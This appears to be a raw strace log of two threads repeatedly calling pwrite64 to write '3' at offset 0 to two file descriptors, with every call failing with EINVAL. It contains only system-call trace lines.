[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
